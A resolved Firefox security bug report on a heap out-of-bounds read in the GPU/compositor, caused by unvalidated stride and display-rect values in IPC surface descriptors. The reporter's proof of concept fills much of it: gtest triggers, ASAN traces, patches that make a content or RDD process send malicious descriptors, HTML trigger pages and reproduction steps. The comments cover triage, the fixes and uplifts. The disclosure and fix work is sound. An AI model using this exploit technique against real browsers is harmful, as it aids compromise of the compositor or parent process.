2018113 - (CVE-2026-4713) Stride < Width Validation Gap — Heap OOB Read in GPU/Compositor

Status: RESOLVED FIXED

(Core :: Graphics, defect)

Description

[Sajeeb Lohani]

Compromised content process -> GPU/compositor (or parent without GPU process). Two IPC paths: RGBA shared surfaces and YCbCr video textures.

ComputeYCbCrBufferSize and SourceSurfaceSharedDataWrapper::Init validate stride * height <= shmem but never check stride >= width * bpp. A content process sends stride=4 for a wide surface. The shmem check passes. WebRender or libyuv reads width * bpp bytes per row from stride-sized rows — heap OOB read.

The Bug

ComputeYCbCrBufferSize (ImageDataSerializer.cpp:62-77) checks stride*height fits but not stride >= width:

uint32_t ComputeYCbCrBufferSize(const gfx::IntSize& aYSize, int32_t aYStride,
                                const gfx::IntSize& aCbCrSize,
                                int32_t aCbCrStride) {
  if (!gfx::Factory::AllowedSurfaceSize(IntSize(aYStride, aYSize.height)) ||
      !gfx::Factory::AllowedSurfaceSize(
          IntSize(aCbCrStride, aCbCrSize.height))) {
    return 0;
  }
  // stride*height only -- never stride >= width
  return GetAlignedStride<4>(aYSize.height, aYStride) +
         2 * GetAlignedStride<4>(aCbCrSize.height, aCbCrStride);
}

SourceSurfaceSharedDataWrapper::Init (SourceSurfaceSharedData.cpp:33) stores stride without checking width*bpp:

mSize = aSize;
mStride = aStride;  // stored without validation against width*bpp
size_t len = GetAlignedDataLength();  // = PageAlignedSize(stride * height)
// EnsureMapped(len) checks shmem >= len, nothing more

CreateWrappingDataSourceSurface (Factory.cpp:888) has zero stride validation — its own comment says it skips checks:

// Just check for negative/zero size instead of the full AllowedSurfaceSize()
// - since the data is already allocated we do not need to check for a
// possible overflow - it already worked.
if (aSize.width <= 0 || aSize.height <= 0) {
  return nullptr;
}

RGBA path: content sends PCompositorManager::AddSharedSurface with stride=4 for a 100-wide B8G8R8A8 surface. 40-byte shmem. WebRender reads 400 bytes/row.

YCbCr path: RenderBufferTextureHost::Lock (RenderBufferTextureHost.cpp:80) passes IPC stride straight to CreateWrappingDataSourceSurface:

mYSurface = gfx::Factory::CreateWrappingDataSourceSurface(
    ImageDataSerializer::GetYChannel(GetBuffer(), desc),
    desc.yStride(),          // IPC-controlled, never validated
    desc.display().Size(),   // actual pixel dimensions
    gfx::SurfaceFormat::A8);

Content/RDD sends yStride=4 for a 4096-wide Y plane. 16-byte shmem. libyuv reads 4096 bytes/row.

ASAN Proof

RGBA path:

==6668==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400079dbf8 at pc 0x00010068b9b4
READ of size 400 at 0x60400079dbf8 thread T0
    #0 __asan_memcpy (libclang_rt.asan_osx_dynamic.dylib:arm64+0x4f9b0)
    #1 SharedSurfaceStrideOOB_WrapStrideLessThanRowBytes_Test::TestBody() (XUL:arm64+0x1721b30)

0x60400079dbf8 is located 0 bytes after 40-byte region [0x60400079dbd0,0x60400079dbf8)
SUMMARY: AddressSanitizer: heap-buffer-overflow (XUL:arm64+0x1721b30) in SharedSurfaceStrideOOB_WrapStrideLessThanRowBytes_Test::TestBody()

YCbCr path (guard page):

==10911==ERROR: AddressSanitizer: BUS on unknown address (pc 0x0003115392e4 T0)
==10911==The signal is caused by a READ memory access.
    #0 I422ToARGBRow_NEON+0x18 (XUL:arm64+0x115392e4)
    #1 mozilla::gfx::ConvertYCbCrToRGB32(...) (XUL:arm64+0x5fb2a1c)
    #2 mozilla::gfx::ConvertYCbCrToRGB(...) (XUL:arm64+0x5fae4b8)
    #3 mozilla::layers::ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor(...) (XUL:arm64+0x610d5a4)
    #4 YCbCrStrideOOB_ConversionOOBRead_GuardPage_Test::TestBody() (XUL:arm64+0x1727e80)

SIGBUS on arm64 because libyuv NEON does a wide SIMD load from the 16-byte buffer past the guard page. On x86 this reports heap-buffer-overflow READ.

PoC

gfx/tests/gtest/TestSharedSurfaceStrideOOB.cpp:

#include "gtest/gtest.h"
#include "2D.h"
#include "DataSurfaceHelpers.h"
#include <cstring>

using namespace mozilla::gfx;

TEST(SharedSurfaceStrideOOB, WrapStrideLessThanRowBytes) {
  const int32_t width = 100;
  const int32_t height = 10;
  const SurfaceFormat format = SurfaceFormat::B8G8R8A8;
  const int32_t bpp = BytesPerPixel(format);
  const int32_t maliciousStride = 4;

  const size_t bufSize = static_cast<size_t>(height) * maliciousStride;
  const size_t rowBytes = static_cast<size_t>(width) * bpp;

  uint8_t* buf = new uint8_t[bufSize];
  memset(buf, 0xBB, bufSize);

  RefPtr<DataSourceSurface> surface = Factory::CreateWrappingDataSourceSurface(
      buf, maliciousStride, IntSize(width, height), format);
  ASSERT_NE(surface, nullptr);

  DataSourceSurface::MappedSurface map;
  bool mapped = surface->Map(DataSourceSurface::MapType::READ, &map);
  ASSERT_TRUE(mapped);

  volatile uint8_t dstRow[512];
  memset((void*)dstRow, 0, sizeof(dstRow));
  // Reads 400 bytes from 40-byte buffer
  memcpy((void*)dstRow, map.mData, rowBytes);

  surface->Unmap();
  delete[] buf;
}

TEST(SharedSurfaceStrideOOB, YCbCrStrideLessThanWidth) {
  const int32_t width = 1000;
  const int32_t height = 1000;
  const SurfaceFormat format = SurfaceFormat::A8;
  const int32_t maliciousStride = 1;

  const size_t bufSize = static_cast<size_t>(height) * maliciousStride;

  uint8_t* buf = new uint8_t[bufSize];
  memset(buf, 0xCC, bufSize);

  RefPtr<DataSourceSurface> surface = Factory::CreateWrappingDataSourceSurface(
      buf, maliciousStride, IntSize(width, height), format);
  ASSERT_NE(surface, nullptr);

  DataSourceSurface::MappedSurface map;
  bool mapped = surface->Map(DataSourceSurface::MapType::READ, &map);
  ASSERT_TRUE(mapped);

  volatile uint8_t dst[1024];
  memset((void*)dst, 0, sizeof(dst));
  uint8_t* row999 = map.mData + 999 * maliciousStride;
  memcpy((void*)dst, row999, static_cast<size_t>(width));

  surface->Unmap();
  delete[] buf;
}

gfx/tests/gtest/TestYCbCrStrideOOB.cpp:

#include "gtest/gtest.h"
#include "mozilla/gfx/2D.h"
#include "mozilla/layers/ImageDataSerializer.h"
#include "mozilla/layers/TextureHost.h"
#include "mozilla/layers/BufferTexture.h"
#include "ImageContainer.h"
namespace libyuv {
extern "C" int MaskCpuFlags(int enable_flags);
}

#include <sys/mman.h>
#include <unistd.h>

using namespace mozilla;
using namespace mozilla::gfx;
using namespace mozilla::layers;

TEST(YCbCrStrideOOB, ValidationBypass) {
  IntSize ySize(4096, 2);
  int32_t yStride = 4;
  IntSize cbCrSize(2048, 1);
  int32_t cbCrStride = 4;
  uint32_t yOffset = 0;
  uint32_t cbOffset = 8;
  uint32_t crOffset = 12;

  uint32_t reqSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);

  // 16 bytes accepted for a 4096-wide surface
  EXPECT_EQ(reqSize, 16u);
}

TEST(YCbCrStrideOOB, ConversionOOBRead_ASAN) {
  libyuv::MaskCpuFlags(0);

  IntSize ySize(4096, 2);
  int32_t yStride = 4;
  IntSize cbCrSize(2048, 1);
  int32_t cbCrStride = 4;
  uint32_t yOffset = 0;
  uint32_t cbOffset = 8;
  uint32_t crOffset = 12;

  uint32_t reqSize = ImageDataSerializer::ComputeYCbCrBufferSize(
      ySize, yStride, cbCrSize, cbCrStride, yOffset, cbOffset, crOffset);
  ASSERT_EQ(reqSize, 16u);


  uint8_t* buffer = new uint8_t[reqSize];
  memset(buffer, 0xAA, reqSize);

  YCbCrDescriptor desc(IntRect(0, 0, 4096, 2), ySize, yStride,
                       cbCrSize, cbCrStride, yOffset, cbOffset, crOffset,
                       StereoMode::MONO, ColorDepth::COLOR_8,
                       YUVColorSpace::BT601, ColorRange::LIMITED,
                       ChromaSubsampling::HALF_WIDTH_AND_HEIGHT);

  RefPtr<DataSourceSurface> result =
      ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor(
          buffer, desc, nullptr);

  delete[] buffer;
  libyuv::MaskCpuFlags(-1);
}

TEST(YCbCrStrideOOB, ConversionOOBRead_GuardPage) {
  long pageSize = sysconf(_SC_PAGESIZE);
  ASSERT_GT(pageSize, 0);

  IntSize ySize(4096, 2);
  int32_t yStride = 4;
  IntSize cbCrSize(2048, 1);
  int32_t cbCrStride = 4;
  uint32_t yOffset = 0;
  uint32_t cbOffset = 8;
  uint32_t crOffset = 12;
  uint32_t reqSize = 16;

  void* base = mmap(nullptr, pageSize * 2, PROT_READ | PROT_WRITE,
                    MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
  ASSERT_NE(base, MAP_FAILED);

  int ret = mprotect((char*)base + pageSize, pageSize, PROT_NONE);
  ASSERT_EQ(ret, 0);

  uint8_t* buffer = (uint8_t*)base + pageSize - reqSize;
  memset(buffer, 0xBB, reqSize);

  YCbCrDescriptor desc(IntRect(0, 0, 4096, 2), ySize, yStride,
                       cbCrSize, cbCrStride, yOffset, cbOffset, crOffset,
                       StereoMode::MONO, ColorDepth::COLOR_8,
                       YUVColorSpace::BT601, ColorRange::LIMITED,
                       ChromaSubsampling::HALF_WIDTH_AND_HEIGHT);

  RefPtr<DataSourceSurface> result =
      ImageDataSerializer::DataSourceSurfaceFromYCbCrDescriptor(
          buffer, desc, nullptr);

  munmap(base, pageSize * 2);
}

IPC patch (RGBA) — pocs/shared_surface_stride_oob_ipc.patch:

diff --git a/gfx/layers/ipc/SharedSurfacesChild.cpp b/gfx/layers/ipc/SharedSurfacesChild.cpp
index c168ba7f2e8a..462b559779a3 100644
--- a/gfx/layers/ipc/SharedSurfacesChild.cpp
+++ b/gfx/layers/ipc/SharedSurfacesChild.cpp
@@ -244,9 +244,19 @@ nsresult SharedSurfacesChild::ShareInternal(SourceSurfaceSharedData* aSurface,
       "bad format");

   data->MarkShared(manager->GetNextExternalImageId());
+
+  int32_t fakeStride = 4;
+  fprintf(stderr, "[PoC] SharedSurface stride override: %d -> %d, "
+          "size=%dx%d format=%d\n",
+          aSurface->Stride(), fakeStride,
+          aSurface->GetSize().width, aSurface->GetSize().height, (int)format);
   manager->SendAddSharedSurface(
       data->Id(),
-      SurfaceDescriptorShared(aSurface->GetSize(), aSurface->Stride(), format,
+      SurfaceDescriptorShared(aSurface->GetSize(), fakeStride, format,
                               std::move(handle)));
   *aUserData = data;
   return NS_OK;

IPC patch (YCbCr) — pocs/ycbcr_stride_oob_ipc.patch:

diff --git a/gfx/layers/BufferTexture.cpp b/gfx/layers/BufferTexture.cpp
index 822e5729fcd0..52e6e6c060f2 100644
--- a/gfx/layers/BufferTexture.cpp
+++ b/gfx/layers/BufferTexture.cpp
@@ -9,6 +9,7 @@
 #include <utility>

 #include "libyuv.h"
+#include "nsXULAppAPI.h"
 #include "mozilla/fallible.h"
 #include "mozilla/gfx/2D.h"
 #include "mozilla/gfx/Logging.h"
@@ -159,8 +160,23 @@ BufferTextureData* BufferTextureData::CreateForYCbCr(
     gfx::ColorDepth aColorDepth, gfx::YUVColorSpace aYUVColorSpace,
     gfx::ColorRange aColorRange, gfx::ChromaSubsampling aSubsampling,
     TextureFlags aTextureFlags) {
+  uint32_t yStride = aYStride;
+  uint32_t cbCrStride = aCbCrStride;
+  if (!XRE_IsParentProcess()) {
+    yStride = 4;
+    cbCrStride = 4;
+    fprintf(stderr, "[PoC] YCbCr stride override: yStride %u->4, "
+            "cbCrStride %u->4, display=%dx%d, ySize=%dx%d\n",
+            aYStride, aCbCrStride, aDisplay.width, aDisplay.height,
+            aYSize.width, aYSize.height);
+  }
+
   uint32_t bufSize = ImageDataSerializer::ComputeYCbCrBufferSize(
-      aYSize, aYStride, aCbCrSize, aCbCrStride);
+      aYSize, yStride, aCbCrSize, cbCrStride);
   if (bufSize == 0) {
     return nullptr;
   }
@@ -168,12 +184,12 @@ BufferTextureData* BufferTextureData::CreateForYCbCr(
   uint32_t yOffset;
   uint32_t cbOffset;
   uint32_t crOffset;
-  ImageDataSerializer::ComputeYCbCrOffsets(aYStride, aYSize.height, aCbCrStride,
+  ImageDataSerializer::ComputeYCbCrOffsets(yStride, aYSize.height, cbCrStride,
                                            aCbCrSize.height, yOffset, cbOffset,
                                            crOffset);

   YCbCrDescriptor descriptor =
-      YCbCrDescriptor(aDisplay, aYSize, aYStride, aCbCrSize, aCbCrStride,
+      YCbCrDescriptor(aDisplay, aYSize, yStride, aCbCrSize, cbCrStride,
                       yOffset, cbOffset, crOffset, aStereoMode, aColorDepth,
                       aYUVColorSpace, aColorRange, aSubsampling);

HTML PoC (RGBA) — pocs/shared_surface_stride_oob_ipc.html:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>SharedSurfacesParent Stride Mismatch OOB Read</title>
</head>
<body>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
function msg(s) { log.textContent += s + '\n'; }

msg('SharedSurfacesParent::Add Stride < Width*BPP OOB Read');
msg('Content -> GPU/compositor via PCompositorManager');

const sizes = [[200, 200], [400, 300], [100, 500]];
let loaded = 0;

for (const [w, h] of sizes) {
  const canvas = document.createElement('canvas');
  canvas.width = w;
  canvas.height = h;
  const ctx = canvas.getContext('2d');
  ctx.fillStyle = '#ff0000';
  ctx.fillRect(0, 0, w, h);

  canvas.toBlob(function(blob) {
    const img = document.createElement('img');
    img.onload = function() {
      loaded++;
      document.body.appendChild(img);
      if (loaded === sizes.length) msg('All images composited. Check ASAN.');
    };
    img.src = URL.createObjectURL(blob);
  }, 'image/png');
}
</script>
</body>
</html>

HTML PoC (YCbCr) — pocs/ycbcr_stride_oob_ipc.html:

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>YCbCr Stride Mismatch OOB Read</title>
</head>
<body>
<video id="v" width="320" height="240" autoplay muted loop></video>
<canvas id="c" width="320" height="240"></canvas>
<pre id="log"></pre>
<script>
const log = document.getElementById('log');
function msg(s) { log.textContent += s + '\n'; }

msg('YCbCr Stride Mismatch OOB Read');
msg('Content/RDD -> GPU via PImageBridge');

const video = document.getElementById('v');
const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');

async function run() {
  const srcCanvas = document.createElement('canvas');
  srcCanvas.width = 64;
  srcCanvas.height = 64;
  const srcCtx = srcCanvas.getContext('2d');

  const stream = srcCanvas.captureStream(30);
  const recorder = new MediaRecorder(stream, { mimeType: 'video/webm' });
  const chunks = [];
  recorder.ondataavailable = (e) => chunks.push(e.data);
  const stopped = new Promise(r => { recorder.onstop = () => r(new Blob(chunks, { type: 'video/webm' })); });

  recorder.start();
  for (let i = 0; i < 30; i++) {
    srcCtx.fillStyle = `hsl(${i * 12}, 80%, 50%)`;
    srcCtx.fillRect(0, 0, 64, 64);
    await new Promise(r => setTimeout(r, 33));
  }
  recorder.stop();
  const blob = await stopped;

  video.src = URL.createObjectURL(blob);
  await video.play();
  msg('Video playing. Check ASAN.');

  for (let i = 0; i < 30; i++) {
    await new Promise(r => setTimeout(r, 100));
    ctx.drawImage(video, 0, 0);
  }
}

run();
</script>
</body>
</html>

Reproduce:

# RGBA path:
git apply pocs/shared_surface_stride_oob_ipc.patch
./mach build
python3 -m http.server 8766 --directory pocs/
./mach run -- http://localhost:8766/shared_surface_stride_oob_ipc.html

# YCbCr path:
git apply pocs/ycbcr_stride_oob_ipc.patch
./mach build
./mach run -- http://localhost:8766/ycbcr_stride_oob_ipc.html

Comment 1

[Timothy Nikkel (:tnikkel)]

The RGBA shared surfaces path seems pretty straight forward, but the YCbCr video textures path I'm not sure I'm seeing the same thing as you.

If I apply ycbcr_stride_oob_ipc.patch and visit ycbcr_stride_oob_ipc.html, I see that the modified code in BufferTextureData::CreateForYCbCr is running on the RDD process (video decoding process) and then the RDD process crashes. I do not see any calls to ComputeYCbCrBufferSize outside of the RDD process. Since this exploit seems to be modelling a compromised RDD process, and we only get a result of bad things happening in that same process, no escalation to any bad behaviour in another process has been demonstrated as far as I can tell. Am I missing anything?

Comment 2

[Sajeeb Lohani]

You're right, the original patch was wrong. Apologies for that. It modified BufferTextureData::CreateForYCbCr which runs in the RDD process, so the tiny shmem allocation caused the video decoder to crash writing into it — all within RDD, before anything crossed IPC.

I've updated the patch. The corrected version targets ShmemTextureData::Serialize — the IPC serialization point after the video decoder has already filled the buffer normally. Instead of shrinking the stride, it inflates the display rect height by 64x in the YCbCrDescriptor before the descriptor is sent via PTexture/PImageBridge.

The root cause is the same validation gap but exploited differently: ComputeYCbCrBufferSize (TextureHost.cpp:254) validates ySize * yStride against the shmem, but the display rect is completely unvalidated. On the receiver side, RenderBufferTextureHost::Lock (RenderBufferTextureHost.cpp:82) creates surfaces using desc.display().Size() as the dimensions, and GetBufferDataForRender (line 144) computes yStride * display.height as the buffer size passed to WebRender. So: shmem holds yStride * ySize.height bytes, but the compositor reads yStride * display.height bytes.

Updated patch (applies to gfx/layers/BufferTexture.cpp):

diff --git a/gfx/layers/BufferTexture.cpp b/gfx/layers/BufferTexture.cpp
index 822e5729fcd0..a1b2c3d4e5f6 100644
--- a/gfx/layers/BufferTexture.cpp
+++ b/gfx/layers/BufferTexture.cpp
@@ -9,6 +9,7 @@
 #include <utility>

 #include "libyuv.h"
+#include "nsXULAppAPI.h"
 #include "mozilla/fallible.h"
 #include "mozilla/gfx/2D.h"
 #include "mozilla/gfx/Logging.h"
@@ -478,6 +479,27 @@ bool ShmemTextureData::Serialize(SurfaceDescriptor& aOutDescriptor) {
     return false;
   }

+  // PoC: In a non-parent process, inflate the YCbCr display rect height.
+  // The shmem was allocated for yStride * ySize.height (validated by
+  // ComputeYCbCrBufferSize). But the GPU/compositor reads
+  // yStride * display.height bytes (RenderBufferTextureHost::
+  // GetBufferDataForRender line 144). ComputeYCbCrBufferSize only checks
+  // ySize, not display, so the inflated display passes validation.
+  // On Linux, the compositor runs in the parent process (sandbox escape).
+  if (!XRE_IsParentProcess() &&
+      mDescriptor.type() == BufferDescriptor::TYCbCrDescriptor) {
+    YCbCrDescriptor& desc = mDescriptor.get_YCbCrDescriptor();
+    auto origDisplay = desc.display();
+    int32_t newHeight = origDisplay.height * 64;
+    desc.display() = gfx::IntRect(origDisplay.x, origDisplay.y,
+                                   origDisplay.width, newHeight);
+    fprintf(stderr,
+            "[PoC] YCbCr display height inflated: %d -> %d "
+            "(yStride=%u, ySize=%dx%d, shmem=%zu bytes)\n",
+            origDisplay.height, newHeight, desc.yStride(),
+            desc.ySize().width, desc.ySize().height, mShmem.Size<char>());
+  }
+
   aOutDescriptor =
       SurfaceDescriptorBuffer(mDescriptor, MemoryOrShmem(std::move(mShmem)));

Steps to reproduce:

1. git apply pocs/ycbcr_stride_oob_ipc.patch
2. ./mach build
3. python3 -m http.server 8799 --directory pocs/
4. ./mach run --headless -- http://localhost:8799/ycbcr_stride_oob_ipc.html

ASAN output (macOS arm64, ASAN build):

[PoC] YCbCr display height inflated: 64 -> 4096 (yStride=64, ySize=64x64, shmem=6144 bytes)

==85478==ERROR: AddressSanitizer: SEGV on unknown address 0x00011e0b1740
==85478==The signal is caused by a READ memory access.
SUMMARY: AddressSanitizer: SEGV (XUL:arm64+0x122d95dc) in void linear_row_yuv<false>(...)+0x770

Thread T96 created by T40 here:
    #4 webrender::compositor::sw_compositor::SwCompositor::new

Thread T40 created by T0 here:
    #5 mozilla::wr::RenderThread::Start
    #6 gfxPlatform::InitLayersIPC
    #7 gfxPlatform::Init
    #8 XREMain::XRE_main

The crash is a READ SEGV in linear_row_yuv on the SwCompositor thread, created by RenderThread::Start in the parent process (T0/XRE_main). No crash in RDD — the video decoder fills the buffer normally; only the display rect is inflated at serialization time.

The SEGV (rather than heap-buffer-overflow) is because shmem is mmap-backed, so ASAN has no redzones — the ~256KB OOB read hits unmapped pages.

Comment 3

[Daniel Veditz [:dveditz]]

Is this a dupe of bug 2018103?

Comment 4

[Timothy Nikkel (:tnikkel)]

I'll take a look, but there are two things reported in this bug, a RGBA and YCbCr issue. It does not look like the RGBA issue is mentioned in bug 2018103.

Comment 5

[Timothy Nikkel (:tnikkel)]

Bug 2018103 seems to be slightly different from the YCbCr issue mentioned here in comment 2.

Comment 7

[Timothy Nikkel (:tnikkel)]

Attachment: (secure)

Comment 8

[Timothy Nikkel (:tnikkel)]

Attachment: (secure)

Comment 10

[Timothy Nikkel (:tnikkel)]

I see a lot of sec-approvals for sec-moderates, I thought according to the policy we didn't need sec-approval for sec-moderates. Are we prefering to get sec-approval for sec-moderates now? ie this bug.

Comment 11

[Andrew McCreight [:mccr8]]

You are correct. sec-approval is not required for sec-moderate bugs.

Comment 12

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/629a8193cb25
https://hg.mozilla.org/integration/autoland/rev/2efc0479a939
r=gfx-reviewers,media-playback-reviewers,lsalzman,chunmin

Comment 13

[Pulsebot]

Pushed by [e-mail]:
https://github.com/mozilla-firefox/firefox/commit/a8919fb6a66b
https://hg.mozilla.org/integration/autoland/rev/ff1eb638ea93
r=gfx-reviewers,bradwerth

Comment 14

[Sebastian Hengst [:aryx] (needinfo me if it's about an intermittent or backout)]

https://hg.mozilla.org/mozilla-central/rev/2efc0479a939
https://hg.mozilla.org/mozilla-central/rev/ff1eb638ea93

Comment 15

[Daniel Veditz [:dveditz]]

The duplicates show this flaw is low-hanging fruit for new analysis tools; we should uplift this to old branches.

Comment 16

[Timothy Nikkel (:tnikkel)]

Yep, I will uplift as soon as bug 2018103 is uplifted.

Comment 17

[BugBot [:suhaib / :marco]]

The patch landed in nightly and beta is affected.
:tnikkel, is this bug important enough to require an uplift?

• If yes, please nominate the patch for beta approval.
  • See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
• If no, please set status-firefox149 to wontfix.

For more information, please visit BugBot documentation.

Comment 18

[Daniel Veditz [:dveditz]]

(In reply to Timothy Nikkel (:tnikkel) from comment #10)

I see a lot of sec-approvals for sec-moderates, I thought according to the policy we didn't need sec-approval for sec-moderates. Are we prefering to get sec-approval for sec-moderates now? ie this bug.

They aren't required, but if someone asks for it anyway I've been plussing them so they don't sit waiting for an answer forever

Comment 19

[Timothy Nikkel (:tnikkel)]

Attachment: (secure)

Comment 20

[Timothy Nikkel (:tnikkel)]

Attachment: (secure)

Comment 21

[Phabricator Automation]

firefox-beta Uplift Approval Request

• User impact if declined: sec-moderate
• Code covered by automated testing: yes
• Fix verified in Nightly: no
• Needs manual QE test: no
• Steps to reproduce for manual QE testing:
• Risk associated with taking this patch: low
• Explanation of risk level: validation of dimensions of image buffers
• String changes made/needed: none
• Is Android affected?: yes

Comment 22

[Timothy Nikkel (:tnikkel)]

Attachment: (secure)

Comment 23

[Timothy Nikkel (:tnikkel)]

Attachment: (secure)

Comment 24

[Phabricator Automation]

firefox-esr140 Uplift Approval Request

• User impact if declined: sec-moderate
• Code covered by automated testing: yes
• Fix verified in Nightly: no
• Needs manual QE test: no
• Steps to reproduce for manual QE testing:
• Risk associated with taking this patch: low
• Explanation of risk level: validation of dimensions of image buffers
• String changes made/needed: none
• Is Android affected?: yes

Comment 25

[Pulsebot]

https://github.com/mozilla-firefox/firefox/commit/d5cc24001280
https://hg.mozilla.org/releases/mozilla-beta/rev/78684c13145b
https://github.com/mozilla-firefox/firefox/commit/620730d8f2bf
https://hg.mozilla.org/releases/mozilla-beta/rev/e98a2b00fc98

Comment 26

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/1aa0efa1ee33
https://hg.mozilla.org/releases/mozilla-esr140/rev/61ba2bb1f30b

Comment 27

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/b797ef21297d
https://hg.mozilla.org/releases/mozilla-esr140/rev/b717bfbc71c9

Comment 28

[amarc]

Backed out for causing crashtest failures

• Backout link
• Push with failures
• Failure Log

Comment 29

[Timothy Nikkel (:tnikkel)]

Just an update: I figured out the reason for the esr140 failure. The failing crashtest uses a gif with height 61000. This passes the imagelib general size restriction of SurfaceCache::IsLegalSize https://searchfox.org/firefox-main/rev/7dc5ce10ed470b11b8626d85a08a6f2d419095c5/image/SurfaceCache.cpp#1882 which limits dimensions to 64k. When it reaches the parent then the AllowedSurfaceSize call that I added to gfx/layers/SourceSurfaceSharedData.cpp fails because that limits dimensions to 32k on esr140. Bug 1911583 landed in January of this year (and isn't on esr140) which increased the AllowedSurfaceSize limit to 64k. I'm going to think on the best way to handle this.

Comment 30

[Timothy Nikkel (:tnikkel)]

Posted fix to bug 2023383 that applies on top of these patches that can land on trunk, beta, and esr140.

Comment 31

[Pulsebot]

https://hg.mozilla.org/releases/mozilla-esr140/rev/625f417e9d86
https://hg.mozilla.org/releases/mozilla-esr140/rev/784dc33e59b4